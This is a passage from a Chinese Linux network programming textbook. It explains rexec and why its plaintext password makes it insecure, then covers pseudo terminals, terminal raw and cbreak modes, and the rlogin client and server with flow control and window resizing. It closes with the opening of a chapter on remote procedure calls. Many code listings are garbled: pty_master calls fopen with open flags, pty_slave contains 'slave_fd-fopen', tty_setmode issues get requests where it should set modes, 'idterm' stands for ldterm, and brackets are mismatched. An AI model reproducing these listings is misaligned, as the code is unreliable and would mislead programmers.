rcmd 函数类似,但有一个大的区别,那就是调用 rexec 的进程不需要超 级用户权限,因为不需要一个保留端口。在 roxec 和其服务器 roxecd 之间使用的确认方案 是从客户传递到服务器的用户的文本口令,在服务器加密后与服务器系统中的口令文件中 的加密文件进行比较。 但这样一来就使得用户的口令明文在网络上传输,而且为了将口令明文传送给 roxec 函数,调用者必须将口令放在源文件中,这是安全问题中的一大漏洞,因此基本上不实用。 roxec 的调用参数和 rcmd 相似: int rexec (char * * ahost , int remport ,char * servuname, - 234 - Linux网络编程 char * password , char * cmd , int * sockfd2 ); ahost remport , servuname ,cmd ,和 sockfd2 参数与 rcmd 函数的参数意义相同,口令及服 务器用户名用于在服务器系统上确认调用者。 rexec 函数 与 rexecd 服务器的源代码与前面的 rcmd 和 rshd 的源代码相似,它们的控 制进程相同,唯一的区别与远程主机上的用户确认相关,因此这里不再给出它们的源代码 了。 第十一章 远程注册 - 235 - 第十一章 远程注册 11.1 简介 用户在使用计算机的时候,往往需要在一台计算机上登录进入另外一台计算机中,以 使用另外一台计算机的资源。在一个计算机上注册登录进入另外一台计算机,称为远程登 录,它是网络应用很重要的一个部分。4.3 BSD 提供了两个远程注册实用程序,一个是 rlogin,该程序假设远程服务器也是一个 Linux 系统,另外一个 实用程序是 Telnet,它是 TCP /IP 支持的标准的 INTERNET 的一个实用程序,与主机操作系统无关,本书将主要讨论 rlogin。 远程登录与多用户、多终端系统有一定的相似之处,因此用户和容易将它们混淆起来。 远程登录的实质是杂本地仿真一个终端,调用远程系统上的 shell 进程处理本地命令。我们 将在以后的文章中进行讨论其具体的过程。 伪终端是远程登录中非常重要的一个部分,它对于本地用户来说就相当于一个终端, 用户对其操作就相当于在远程系统上进行操作。伪终端涉及到许多的东西,比较复杂,应 对其有充分的了解。伪终端仿真程序只是远程登录程序的有个部分,一个有机的组成,只 负责仿真远程终端,而远程登录的控制部分由远程登录的客户程序和服务器程序完成,这 个我们应该充分认识到。 远程登录程序由客户程序和服务器程序组成,它们分别负责本地系统及远程系统中网 络通信,将请求及应答在两个系统之间传送。 11.2 终端行律和伪终端 终端是一个全双工的设备,具有单独的输入路径和输出路径。终端行律(terminal line discipline )在内核中处于用户进程和设备驱动程序之间,它能够完成下面所例举的几个功 能: 回显键入的字符。 把键入的字符组成行,以便进程能够整行的从终端读入。 编辑输入的行。Linux 允许擦除以前键入的字符,也允许擦除一个整行,从新的 一行开始输入。 当某些终端控制键被按下的时候产生信号,比如:SIGINT 和 SIGQUIT。 处理流控制字符,如按下 Ctr—S 键,屏幕输出暂停,按下 Ctr—Q 键后又重新开 始输出。 允许键入文件结束字符。 进行字符转换。例如,当一个进程写入一个新行开始符,行律都把它转换成为一 个回车符和一个换行符。又如,如果终端不处理 tab 键,则将 tab 字符转换成若干字符。 终端处理的部分难点在于许多不同的设备连接在一根异步串行线上。不仅交互式终端 是如此,打印机、调制解调器、绘图仪等等设备也是如此。即使终端用于交互式输入,不 同的程序也会以不同的方式访问终端,有些处理终端的行,有些处理全屏幕编辑,而有些 则禁止回显。 但对于某些程序来说,它们截取了标准输入和标准输出,对其进行另外的处理,如记 录所有的输入和输出。但是这类程序有些缺点,如果得不到系统提示符或者不能 tty ,vi 等, 这是因为,模拟的标准输入和标准输出在系统看来,不是一个终端设备。如果在其中加入 - 236 - Linux网络编程 行律,则上面所说的所有问题就不存在,按照上面的规律,我们可以知道,事实上,这也 就是伪终端所要做的事情。 伪终端(pseudo terminal)是一对设备,一半称为主设备,一半称为从设备,进程打开 一对终端设备就同时得到两个文件描述符,我们把伪终端缩写成 pty。 伪终端如图 11-1 所示: 图 11-1 伪终端 写进主 pty 的所有数据看上去像是来自从 pty,而写进从 pty 的所有数据看起来则像是 来自主 pty。下面的两个函数运行于 4.3 BSD,pty_master 打开主 pty ,而 pty_slave 打开从 pty: static char pty_name[ 12 ]; /* “/dev/[pt]tyXY” = 10 chars + null byte */ int pty_master( ) { int i ,master_fd; char * ptr ; struct stat statbuff; static char ptychar =“pqrs”; /* X */ static char hexdigit []=“0123456789abcdef”; /* Y * / /* 打开主 pty “/dev/pty[pqrs][0-9a-d]” */ for (ptr=ptychar; * pty!=0;pty++) { strcpy (pty_name, “dev/ptyXY”); pty_name[8]= ptr ; / X */ 第十一章 远程注册 - 237 - pty_name[9]=‘0’; /* Y */ /* 如果不存在名字 “dev/pty0”,则退出 */ if stat( pty_name,&statbuff)<0} break; for (i= 0;i<10;i++) { pty_name[9]=hexdigit[i]; /*0-15->0-9a-f */ if ( ( master_fd=fopen(pty_name,O_RDWR) )>=0) return ( master_fd); } } return (-1); } /* end of pty_master */ int pty_slave (master_fd) int master)fd; { int slave_fd; pty_name[5]=‘t’; /* 将“/dev/ptyXY”改为 “/dev/ttyXY” */ if ( ( slave_fd-fopen(pty_name,O_RDWR) )<0) { close (master_fd); return (-1); } } System V Release 3.2 也支持伪终端,在库 / usr / lib / libpty 中有三个函数可以用来建立 伪终端,并且由函数 grantpt 激活的程序 / usr / lib / pt_chomod 可改变从设备的权限和属主 (Owner ),这是一个设置用户号的根程序,需要超级用户的特权来改变从设备的属主。下 面是函数 pty_master 和 pty _slave: #define PTY_MASTER “dev/ptmx” int pty_masster( ) { int master_fd; /*打开 pty “/dev/ptmx” */ if ( ( master_fd= open (PTY_MASTER,O_RDWR) ) return (-1); return (master_fd); ) int pty_slave(master_fd) int master_fd; { int slave_fd; - 238 - Linux网络编程 char * slavename; int grantpt( ); /* libpt.a */ int nlockpt( ); /*libpt.a */ char * ptsname ( ); /* libpt.a */ if ( grantpt(master_fd)<0) close (masetr_fd); if ( unlockpt(master_fd)<0 { close ( master_fd); return (-1); } slavename=ptsname(master_fd); if (slavename = =NULL) { close (master_fd); return (-1); } slave_fd = open (slavenam,O_RDWR); if (slave_fd <0) { close(master_fd); return (-1); } /* 降将伪终端硬件仿真模块 ptem 和标 */ /* 将终端行律 ldterm 压入从设备流 */ if )ioctl (slave_fd,I_PUSH,“ptem”)<0} { close (master_fd); return (-1); } if (ioctl(slave_fd,I_PUSH,“idterm”)<0) { close(master_fd); return(-1); } return (slave_fd); } 组成终端行律的模块加在从设备流上而非主设备流上,这是为了让从设备看起来更像一 第十一章 远程注册 - 239 - 个终端。伪终端的典型用法是由一个进程打开一个 pty,然后调用 fork 建立自己的一个子 进程,然后由子进程打开从 pty 并加载另一个程序,并把从 pty 作为标准输入,标准输出和 标准错误传给新进程,该进程便如同连上了一个终端设备。 11.3 终端方式字和控制终端 有些程序中有两个行律模块,都试图处理特殊字符,一般情况下我们只需要一个行律 模块来解释键入的字符。在实际终端上我们需要行律模块以传递所有的东西,而 pty 需要 行律模块以便像正常终端一样运行,这就需要把伪终端的方式字初始化为终端方式字并把 它的行律模块置为 cooked 方式以便传递所有的字符。 4.3 BSD 的终端具有如下三种方式: cooked 方式。在该方式下输入被加工成行,所有特殊字符都要进行处理,一般的 交互式终端都处于这种方式。 raw 方式。该方式允许进程接收所有输入的字符,而系统不对这些字符进行解释, 如 vi 就使用这种方式。但是,如果进程设置了该方式,而在终止的时候没有设置回到 cooked 方式,终端便一直处于 raw 方式,这样该终端便可能将禁止回显的字符回显出来,只有在 键入换行符的时候才能终止一行。 cbreak 方式。该方式介于 cooked 方式和 raw 方式之间,在 cbreak 方式下,进程一 次从终端读入一个字符而不是一行字符,信号键仍然起作用,但是可编辑的特点就没有了。 不需要回显字符并要字符不带加工的传输的时候,就应该设置终端为 raw 方式。4.3 BSD 中该函数为: static struct sgttyd tty_mode; int tty_raw(fd) int fd; /* 终端设备 */ { struct sgttyb temp_mode; if (ioctl (fd,TIOCGETP, (char *)&temp_mode)<0) return (-1); tty_mode =temp_mode ; temp_mode.sg_flags | =RAW ; /* 打开 RAW 模式 */ temp_mode.sg_flags & = ~ ECHO; /*关闭 ECHO*/ if (ioctl (fd,TIOCSETP,(char *)*temp_mode)<0) return (-1); return (0); } /* 恢复终端模式为调用 tty_mode 之前模式*/ int tty_reset (fd) int fd; { if (ioctl (fd,TIOCSETP,(char * )&tty_mode) <0) return (-1); return (0); } 另外,我们需要把 pty 初始化为某中已知的状态。当从设备打开的时候,我们不能确 定终端行律处于哪重状态,为了设置这个状态,我们需要把标准输入上的终端行律方式字 - 240 - Linux网络编程 记录下来,然后把 pty 的方式字设置为 raw 方式。在 4.3 BSD 中,把终端方式字记录下来 需要记录四个结构和两个整数。 读取以及设置方式字的函数 tty_getmode 和 tty_ setmode 如下: static struct sttyd tty_sgttyb; static struct tchars tty_tchars; static struct ltchars tty_ltchars; static struct winsize tty_winsize; static int tty _localmode; static int tty_ldisc; int tty_getmode(oldfd) int oldfd; { if (ioctl (oldfd,TIOCGETP,(char * )&ttya_sgttyb)<0) return (-1); if (ioctl (oldfd,TIOCGETP,(char * )&ttya_tchars)<0) return (-1); if (ioctl (oldfd,TIOCGETP,(char * )&ttya_ltchars)<0) return (-1); if (ioctl (oldfd,TIOCGETP,(char * )&ttya_localmode)<0) return (-1); if (ioctl (oldfd,TIOCGETP,(char * )&ttya_ldisc)<0) return (-1); if (ioctl (oldfd,TIOCGETP,(char * )&ttya_winsize)<0) return (-1); return (0); } int tty_setmode(newfd) int newfd; { if (ioctl(newfd,TIOCGETP, ( char *)&tty_sgttyb)<0) return (-1); if (ioctl(newfd,TIOCGETP, ( char *)&tty_tchars)<0) return (-1); if (ioctl(newfd,TIOCGETP, ( char *)&tty_ltchars)<0) return (-1); if (ioctl(newfd,TIOCGETP, ( char *)&tty_localmode)<0) return (-1); if (ioctl(newfd,TIOCGETP, ( char *)&tty_ldisc)<0) return (-1); if (ioctl(newfd,TIOCGETP, ( char *)&tty_winsize)<0) return (-1); return (0); 第十一章 远程注册 - 241 - } System V没有像 4.3 BSD 一样提供三个指定的方式字,而可以禁止和允许诸如信号产 生、组成行、编辑行、和回显。 以下 System V函数把终端设置为 raw 方式: static struct termio tty_mode; int tty_raw(fd) int fd; { struct termio tmp_mode; if (ioctl (fd ,TCGETA,(char * )&tmp_mode )<0) return (-1); tty_mode = tmp_mode; tmp_mode.c_iflag =0; tmp_mode.c_oflag & = ~OPOST; tmp_mode.c_lflag & = ~(ISIG|TCANON|ECHO|XCASE); tmp_mode.c_cflag & =~(CSIZE|PARENB); tmp_mode.c_cflag 1 =cs8 tmp_mode.c_cc [VMIN] =1; tmp_mode.c_cc[VTIME] =1; if (ioctl (fd,TCSETA,(char * )& tmp_mode)<0) return (-1); return (0); } 在 System V中要记录终端的方式只需要把结构 termio 记下便可,如下列程序所示: if ( (fd= open(“dev/tty”,O_RDWR) ) > =0) { if (ioctl (fd,TIOCNOTTY,( char * )0)<0) err_sys(“ioctl TIOCNOTTY error”); close (fd); } if ( (slave_fd =pty_slave(master_fd) ) <0) err _sys (“can‘t open pty slave”); close (master_fd); if ( ( tty_setmode(slave_fd)<0) err_sys(“can‘t tty mode of pty slave”); 在 System V 中,为了使子进程脱离其控制终端而把从 pty 作为其控制终端,必须: 调用 setpgrp 使子进程成为进程组头,与它的控制终端脱离。 打开从 pty 使之成为它的控制终端。 实现上述两点的代码段如下: setpgrp ( ); if ( ( slave_fd =pty_slave(master_fd)) <0) err_sys(“can‘t open pty slave”); close (master _fd); if (tty_setmode(slave_fd)<0) - 242 - Linux网络编程 err_sys(“can‘t set tty mode of pty slave”); 11.4 rlogin 概述 有了前面的介绍,现在就可以讨论实际的远程登录进程了。 在 rlogin 客户进程中,我们把客户系统的终端行律设置为 raw 方式,以便把键入的所 有数据传送给远程系统,在远程系统上运行的 vi 进程需要客户系统的终端行律处于 raw 方 式。在 Linux 系统中,由客户系统键入的字符一般是由服务员系统来回显。 如果远程系统处于 raw 方式(例如在远程系统中运行 vi),那么由远程系统上的进程本 身(如 vi)来完成回显工作。不管远程系统是怎样完成回显工作的,用户在终端上键入的 每个字符都由客户系统经过网络传送到远程系统,然后再传送回来,回显在本地终端上。 注意,在客户系统上,rlogin 客户进程调用 fork 函数建立子进程,然后父、子进程分 别处理两个方向上的数据流动,而在远程系统上只用一个服务员进程处理两个方向上的数 据流动。4.3 BSD 中 rlogin 是用 select 系统调用来完成输入流的两路复用。再者,客户进程 的父子进程间存在着某种形式的信息交换。 客户之所以以两个进程运行,是因为不终止子进程的情况下可能终止父进程,在终止 了父进程后,用户还可以在客户系统上键入其他命令而让远程系统的输入继续显示在本地 终端上。 11.5 窗口环境 Linux 用一个数据文件来记录终端的特点,在 4.3 BSD 以及早期的 System V中都使用 文件 termcap,而最近版本的 System V则使用文件 terminfo。这些文件包含有终端屏幕的大 小,典型情况下终端屏幕为 24 行 80 列。但这些文件存在一个问题,那就是终端窗口的尺 寸不会改变。以当前的技术情况,可以提供各种各样的方式来动态的改变终端窗口的大小。 这种情况下,使用整个屏幕的软件如全屏幕编辑软件 vi,便应知道窗口的改变以重画整个 屏幕。 支持可变大小多窗口的终端设备可以改变窗口的大小,这种设备不局限于位图 (bitmap)显示器,如 4.3 BSD 的 window。程序可以在标准 ASCII 终端上进行多窗口操作。 为了支持窗口环境,必须保留窗口的当前尺寸并且使得进程能够读到窗口大小,设置窗口 大小,知道窗口大小的改变。4.3 BSD 中,可以用 iocl 调用得到储存窗口大小,如下: #include <ioctl.h> int ioctl (int fd,TIOCGWINSZ,struct winsize * winptr); int ioctl (int fd,TIOCSWINSZ,struct winsize * winptr); struct winsize { unsigned short ws_row; /*每行字符树*/ unsigned short ws_col; /*每列字符数*/ unsigned short ws_xpixel; /*水平,象素*/ unsigned short ws_ypixel; /*垂直,象素*/ } 内核为每个终端和伪终端维护一 winsize 结构,但不用它来做任何的事情,内核所要做 的是为激活进程提供一个跟踪窗口大小的途径。当一个窗口大小改变的时候,内核产生一 个 SIGWINCH 信号,该信号被发送给与此终端相关的终端进程组。如 4.3 BSD 的 vi 捕获 了信号 SIGWINCH,那么 vi 便应该知道该终端窗口的大小以便把较长的行分成两行并应该 第十一章 远程注册 - 243 - 知道窗口的底行在哪里。不管窗口的大小什么时候改变,vi 都会捕获到该信号以便重画屏 幕。当使用窗口环境的时候,一般都是用伪终端为每个激活的窗口提供一个注册 shell。 现在来考虑改变窗口大小对远程登录的影响,主要问题在于客户系统上改变窗口大下 必须通过服务员系统。客户和服务员应采取以下步骤: 当用户改变窗口大小的时候,将一个特殊字节串传送给 layers 进程,该进程用于 处理终端的多路复用,通过一个 RS—232 与终端通信,它也与使用伪终端在窗口下运行的 进程进行通信,该进程与住 pty 相连。 layers 进程接收到该字节串的时候就对从 pty 调用 ioctl,这样信号 SIGWINCH 便 发送给了从 pty 进程组中的进程以及 rlogin 父进程。 rlogin 父进程捕获到 SIGWINCH 信号,便调用 ioctl 得到新的窗口的尺寸,这个新 的窗口尺寸又通过网络发送给 rlogin 服务员进程。 rlogin 接收到新的窗口尺寸便对其主 pty 调用 ioctl,内核便把信号 SIGWINCH 发 送给从 pty 进程组中的进程。 该进程捕获到信号 SIGWINCH,然后重画屏幕。 这样,本地系统和远程系统的窗口大小都改变了。 11.6 流控制与伪终端方式字 大多数终端行律都用于交互式环境,两个方向都没有字符缓冲,这样做使得进程能够 成块的读写数据,而设备驱动程序则尽量的接收并尽快的把数据发送给终端。终端输出的 速度通常受到连接设备速度的限制,如果显示在终端上的输出太快而无法看清,为暂停输 出,拥护可以按称为暂停键的特殊字符键,需要继续读下去的时候,键下一开始键,于是 终端行律便恢复输出。暂停键一般都是 CTL—S,而开始键一般都是 CTL—Q。除了输出放 在缓冲区外,终端输入也由行律放在一个缓冲区中,这样在进程准备读字符前便可键入字 符。 每个终端和伪终端都有一个输入队列和一个输出队列,如果行律想回显输入字符,只 需要把输入字符传到输出队列。 一般来说,键入中断键和停止键都会清除输入队列和输出队列,并终止当前运行的进 程。当终端行律处于 raw 方式的时候,这两个键不再特殊,也就是说,键入它们不会清除 队列。 在一个远程登录系统下,远程系统的行律处理中断键: 远程行律把字符放在其输出队列上等着 rlogin 通过伪终端来读取它们。 远程系统把准备发送本地系统的数据放在缓冲区中。 本地系统的网络缓冲区也包含字符,等待着被 rlogin 客户进程取走。 本地系统的终端行律也包含要在终端上显示的字符,这个时候因为终端一般慢于 网络或者产生输出的远程进程。 再者,用户在本地系统上键入中断键的时候,远程行律便进行中断处理,而用户当然 希望来不及输出的东西被清除掉,而不愿意坐在终端前等着一行行的输出。 流控制最好由客户系统来处理。若是由远程系统处理的话,该字符将被传到远程系统, 由远程系统的行律模块来禁止输出,但是在此之前,已经传回本地系统的字符还是会依次 显示在屏幕上。在客户系统上完成流控制的问题在于无论远程系统什么时候处于 raw 方式, 暂停和开始字符都得不到解释。远程系统处于 raw 方式的时候,客户还要把开始和暂停字 符送给远程系统去解释,但如果远程系统不处于 raw 方式,我们就可以让本地系统去处理 流控制,远程系统的行律应以某种方式通知 rlogind 开始和暂停符何时被禁止何时被允许。 如一个进程设置 TIOCFLUSH 调用 ioctl ,便会把终端行律中的输入和输出列消除光。如 - 244 - Linux网络编程 果远程系统上的一个进程调用 ioctl,除了让远程系统的行律模块清除其输出缓冲外,我们 还希望把网络上用于输出到本地终端上的缓冲清除掉,这是远程系统行律模块应该知道的 情况,也就是 rlogind 应该知道的情况。 为了处理这些情况,4.3 BSD 伪终端设备驱动程序支持一个可选的包方式,该方式对 伪终端主设备调用 ioctl,在 ioctl 中需要设置 TIOCPKT 并带一个非零参数。由伪终端从设 备上的行律模块通知伪终端主设备,在它的行律模块中出现了某一事件。在该方式秒,主 pty 的每个 read 调用返回如下字节: 单字节 0 后面跟来自从 pty 的实际数据,0 是一个标志字节,用于指示缓冲区的剩 余部分是一般的数据。 单字节非零值,该字节是一个控制字节,用于表明从 pty 上出现了某一事件,文 件<ioctl.h>包含了该字节的常数定义。 TIOCPKT_FLUSHREAD 表明终端输入队列被清除 TIOCPKT_FLUSHWRITE 表明终端输出队列别清除 TIOCPKT_STOP 表明终端输出被终止了 TIOCPKT_START 表明终端输出重新开始 TIOCPKT_DOSTOP 表明从 pty 已经发生了变化以致于终端停止符是 CTL—S,开始 符是 CTL—Q,且终端不处于 raw 方式。 TIOCPKT_NOSTOP 表明从 pty 已经发生了变化以至于终端停止键不 CTL—S 或者开 始符不是 CTL—Q,或者终端处于 raw 方式。 在这种方式下,从主 pty 读的进程便能够在调用 read 之前区分一般的数据和控制信息。 rlogind 服务员只对以下的三个控制信息感兴趣: TIOCPKT_FLUSHWRITE TIOCPKT_NOSTOP TIOCPKT_DOSTOP 当服务员从主 pty 中读到以上三个字节中的任意一个的时候,就把带外信号(out-of- band)发送给 rlogin。rlogin 子进程从网络中读数据,它准备接收带外信号(信号 SIGURG) 并执行相应的动作。 1.TIOCPKT_FLUSHWRITE 由于服务员终端输出队列被清除,客户也应该尽量把来不及输出的清除掉。它先 为标准输出(本地终端)设置 TIOCFLUSH 调用 ioctl 清除终端行律中的输出缓冲,然后从 网络中读,直到读到带外字节并把数据丢掉。以这种方式,网络缓冲中的任何数据也被丢 掉了。只要接收者读到了带外数据,它便扔掉所有的带内数据并把带带数据先发送过来。 2.TIOCPKT_NOSTOP 在这种情况下,从 pty 不再把 CTL—S 和 CTL—Q 作为停止符和开始符,或者从 pty 处于 raw 方式。在任何一种情况下,rlogin 不再完成流控制并且把所有的字符传给服务员 进程,在远程系统上启动 vi 便属于这种情况。 3.TIOCPKT_DOSTOP 这种情况下,从 pty 不属于 raw 方式并停止开始符为 CTL—S 和 CTL—Q,这样就允 许 rlogin 处理流控制。为此客户把本地终端的行律模块置为 cbreak 方式(而非 raw 方式) 以使客户能进行流控制。用户终止 vi 时就是如此。 综上所述,远程登录系统实际上是一个远程回显,本地流控制且带有输出清除的设施。 远程回显是因为客户要求服务员完成回显工作。 终端输出的流控制是在客户系统上完成的,只要远程系统上的停止和开始符为 CTL —S 和 CTL—Q。 第十一章 远程注册 - 245 - 需要清除的时候,客户把来不及输出的东西清除掉。除此之外,我们还加入了把 窗口变化传给服务员这一远程登录设施。 11.7 rlogin 客户程序 前面介绍了登程登录的客户,下面是其主要执行函数的框架: struct tchars notc = {-1,-1,-1,.-1,-1,-1}; struct lchars noltc = {-1,-1,-1,.-1,-1,-1}; do (oldsigmask) int oldsigmask; { struct sgtyb sb; ioctl(0,TIOGETP,(char * )&sb); defflags = sb.sg_flags; tabflag =defflags & TBDELAY; defflags =ECHO|CRMOD; deferase =sb.sg_erase; defkill =sb.sg_kill; ioctl (0,TIOCLGET, (char * )*deflflags); ioctl (0,TIOCGETC,(char * )&deftc); notc.t_startc =deftc.t_startc; notc.t_stopc =deftc.f_stopc; ioctl (0,TIOCGETC,(char *)&defltc); signal (SIGINT,SIG_IGN); setsignal (SIGHUP,exit); setsignal (SIGQUIT,exit); if ( ( childpid = fork() ) <0) done (1); if ( childpid = = 0) /* 子进程= = reader */ { tty_mode(1); if ( reader(oldsigmask) = = 0) exit ( 0); sleep (1); exit (3); } /* 父进程 = = writer */ signal(SIGURG,sigurg_parent); signal (SIGUSR1,sigusr1_parent); sigsetmask( oldsigmask); signal (SIGCHLD,sigckd_parent); writer( ); done (0); } 窗口变化信息是由客户以带内的方式传递给服务员,而伪终端控制信息一使带外数据 - 246 - Linux网络编程 发送的。 11.8 rlogin 服务器 下面是服务员进程的主要函数代码。 do(cli_addrp) struct sockaddr_in * cli_addrp; { int I ,masterfd,slavefd,childpid; register struct hostent * hp; struct hostent hostent; char c; alarm (60); read(0,&c,1); if ( c!=0) exit (1); alarm (0); cli_addrp->sin_port=ntohs( (u_short)cli_addrp->sin_port); hp=gethostbynaddr (&cli_addrp->sin_addr, sizeof(struct in_addr),cli_addrp->sin_family); if ( hp = = NULL ) { hp = &hostent; hp->h_name –inet_ntoa(cli_addrp->sin_addr); } if (cli_addrp->sin_family !=AF_INET || cli_addrp->sin_port >=IPPORT_RESERVED || cli_addrp->sin_port <=IPPORT_RESERVED/2) fatal(0,“permission denied”); write (0,“ ”,1); for(c=‘p’;c<‘s’,c ++); } struct stat statbuff; line= “/dev/ptyXY”; line[8]=c; line[9]=‘0’; if (stat(line,&statbuff)<0) break; for (i=0,i<16;i++) { line[9] =“0123456789abcdef”[i]; if ((masterfd = open (line,O_RDWR))>0) goto gotpty; 第十一章 远程注册 - 247 - } ) gotpty: ioctl (masterfd,TIOCSWISZ,&swin); line[5]=‘t’; if ((slavefd =open (line ,O_RDWR))<0) fatalperror (o,line); if (fchmod (slavefd,0)) fatalperror(0,line); signal (SIGHUP,SIG_IGN); vhangup( ); signal (SIGHUP,SIG_IGN); if (( slavefd =open (ling,O_RDWR))<0) fatalperror(0,line); setup_term(masterfd); if ( ( childpid = fork( )<0) fataperror(0,“ ”); if childpid = = 0) /* 子进程 */ { close (0); close (slavefd,0); dup2 (slavefd,0); dup2 (slavefd,1); dup2 (slavefd,2); close (slavefd); execl (“/bin/login”,“login”,“-r”,hp->h_name,(char * )0); fataperror(2,“/bin/login”); } else /* 父进程 */ { close (slavefd); ioctl (0,FIONBIO,&one); ioctl (masterfd,FIONBIO,&one); ioctl (masterfd,TIOCPKT,&one); signal(SIGTSTP,SIG_IGN); signal (SIGCHLD,cleanup); setpgrp (0,0); protocol (0,masterfd); signal (SIGHLD,SIG_IGN); cleanup( ); } 当客户通过 TCP 端口发送来一个登录请求的时候,inted 就激活远程登录服务员 rlogind,由它激活标准 Linux login 程序。如果通过了检查,则由 login 进程激活用户的注 - 248 - Linux网络编程 册 shell。 代码中函数 cleanup 调用了函数 logout 和 logwtmp,第一个函数把文件 /etc/utmp 的用 户入口删除,该文件为每个当前注册进入系统的用户保持一个入口项。函数 logwtmp 在文 件 /usr/adm/wtmp 中增加了一个入口项,每当用户注册进入或者退出登录的时候,都在该 文件中加入一个入口项。这两个文件一般都由程序 /bin/login 和/etc/init 来维持。事实上, 程序 login 只完成其中一部分,这里文件终止项都由 rlogind 程序来处理。 第十二章 远程过程调用 - 249 - 第十二章 远程过程调用 12.1 引言 本章我们对一些技术和机制进行讨论,这些技术和机制有助于程序员使用客户机-服务 器范例。我们一般性的介绍远程过程调用 RPC(Remote Procedure Call)的概念,还将描述 一个工具(rpcgen),它可以为一个使用远程调用的程序生成它所需要的大部分 C 代码。最 后我们给出一个完整的可以运行的例子,通过这个例子来说明 rpcgen 这个工具是如何生成 一个使用远程过程调用的客户机和服务器的。 所谓过程调用,是指将控制从一个过程 A 传递到另一个过程 B,返回时过程 B 将控制 进程交给调用过成 A。在目前大多数系统中,调用者和被调用者都在给定主机系统中的一 个进程中,他们是在产生程序执行文件时由链接器连接起来的,这类过程调用成为本地过 程调用。而远程过程调用(RPC)指的是由本地系统上的进程激活远程系统上的进程,我 们将此称为过程调用是因为它对程序员来说表现为常规过程调用。我们用“ 请求” 代表客 户调用远程过程,“ 应答” 代表远程过程将其结果返回给客户。 对于编写远程调用程序来说,首先应熟悉与远程调用有关的各个系统调用,这些系统 调用在前面已经使用过很多次,但这里还要再提出一次,因为这是网络通信软件设计的基 础。 远程过程调用和远程命令执行很容易混淆起来,其实它们之间的区别还是很明显的。 远程命令执行是由远程主机开始一个命令程序的执行,而远程过程调用是由本地主机开始 一个程序的执行,在程序执行的中间调用远程主机提供的过程。处理远程过程调用的进程 有两个,一个是本地客户进程,另一个是远程服务器。对本地进程来说,远程过程调用表 现为对客户进程的过程控制,然后由客户进程生成一个消息,通过网络系统调用发往远程 服务器。网络信息中包括过程调用所需的参数,远程服务器接到信息后调用相应过程,然 后将结果通过网络发回客户进程,再由客户进程将结果返回给调用进程。因此,远程系统 调用对调用者表现为本地过程调用,但实际上是调用了远程系统上的过程。 远程系统调用 RPC 使用了若干种不同的传送协议,不了解它们,在使用不同传送协议 的系统之间,就无法实现远程过程调用。这里介绍了三种传送协议:Sun RPC,Xerox Courier 和 Apollo RPC。 对于不同的传送协议,应有不同的通信处理方法,因此对于上面三种传送协议要提供 三种不同的程序。 12.2 远程过程调用模型 我们在描述客户机/服务器程序时,不能只分别查看客户机和服务器的各个构建 (Component)的结构,我们在构建一个客户机/服务器软件时,我们不能一次关注于其 中的一个构建。我们必须考虑整个系统是如何交互的,以及各个构建之间应该如何交互。 为了帮助程序员理解客户机/服务器的交互,研究人员已经为构建分布程序设计出一 套概念性的框架。该框架被称为远程过程调用模型(Remote Procedure Call Model)或 RPC 模型,它把我们所熟悉的来自传统程序的概念作为分布式应用的基础。 远程调用模型主要来自于传统语言中的过程调用机制。过程调用提供了一个强有力的 抽象,它允许程序员将一个程序划分成一些小的,可管理的,易于理解的片段。过程特别 有用,因为它具有一个能给出程序执行的概念性模型的简单明了的实现。下图说明了这个 - 250 - Linux网络编程 概念。 图 12-1 过程概念 远程过程调用模型使用了和传统过程一样的抽象。只是,它允许一个过程的边界跨越 两台计算机。图 12-2 表示了远程调用过程模型如何将一个程序划分成两片,每片在一个单 独的计算机上执行。当然,远程过程调用不能有一台计算机传递到另一台上。在程序可以 使用远程过程调用之前,必须加入允许程序与远程过程通信的协议软件。 图 12- 2 分布式程序 12.3 传统过程调用和远程过程调用的比较 一般程序的过程模型提供了一个程序执行的概念性解释,它可以直接扩展到远程过程 调用上。让我们考虑一下内存中那些以编译好的程序代码在执行中的顺序,这将有助于帮 助我们理解这个概念。图 12-3 展示了控制流从主程序传到两个过程,然后返回。 计算机从一个主程序 main 开始执行,它将一直执行下去,直到遇到第一个过程调用。 这个调用使执行转入到某个指定的过程代码并继续执行。如果它遇到了另一个调用,计算 机便转入到第二个调用。 程序继续在所有调用的过程中执行,直到它遇到了 return 语句。这个返回使程序恢复 到紧挨着最后一个调用之后的那个位置。任意的时候,只有一个执行在继续。因此,在计 算机执行对一个过程的调用时,另外一个过程必须暂时停止。计算机挂起调用进程,在调 用过程中,将这个过程的所有变量的值又可以使用了。一个被调用的进程可以进一步使用 过程调用,因为计算机记住了调用的次序,而且总是返回最近执行的调用者。 过程概念:一个传统的程序由一个或多个过程所组成。它们往往按照一种调用等级来 安排。从过程 n 到过程 m 的箭头代表由从 n 到 m 的调用。 图 12-2 是一个分布式程序,它说明了怎样从一个调用本地过程的程序扩展成使用远程过程调 用的程序。划分发生在主程序和过程四之间。实现远程过程调用需要有一个通讯协议。 第十二章 远程过程调用 - 251 - 图 12-3 普通程序的执行过程 下面我们来考虑远程过程。传统过程调用可以帮助我们来理解它。我们现在不考虑一 个客户机程序和服务器程序交换消息,而是想象每个服务器实现了一个(远程的)过程, 而且,客户机和服务器之间的交互对应于过程的调用和返回。由客户机发送给服务器的请 求对应与一个远程过程调用,而由服务器返回的信息,对应与一个过程的返回指令执行。 图 12-4 展示了这个比喻。 图 12-4 远程过程调用的执行模型 远程过程调用概念提供了一个强有力的类比方法,它允许程序员以一种他所熟悉的环 境来思考客户机和服务器的交互。如同一个传统的过程调用,一个远程过程调用把控制权 传递给被调用的过程。也像传统的过程调用一样,在调用进行中,系统把调用过程的执行 挂起,而只允许被调用过程执行。 当一个远程程序发出一个响应的时候,对应与在传统过程调用执行一个 return。控制 权返回给被调用者,被调用过程停止执行。嵌套的过程调用的想法也可应用到远程过程调 用。一个远程过程也许要调用另一个远程过程。如上图所展示的,嵌套的远程过程调用对 图 12-4 给出了远程过程调用的执行模型。单个执行顺序是建立在分布式环境下的。服务器 和服务器间的尖头代表一个远程过程调用时,控制权是如何由一个客户机传递给一个服务器 的,以及它又是如何在服务器响应后返回给客户机。 - 252 - Linux网络编程 应与这种情况,既一个服务器变成了另一个服务器的客户机。 当然,远程过程调用和客户机/服务器之间交互的细节不是一个这个类比所能够说明 白的,例如:一个传统的过程会一直保持在完全不活动的状态,直到有调用它的行为。而 远程过程调用,服务器在没有请求的时候必须在那里一直等待接受请求。更大的不同来自 与数据流传向远方的方式。传统的过程调用只能接受几个参数,返回也仅仅可以返回少数 几个结果。而远程过程调用可以接受或返回任意数量的数据。 如果本地调用和远程过程调用的行为是一致的,这样当然是理想的。但是,许多实际 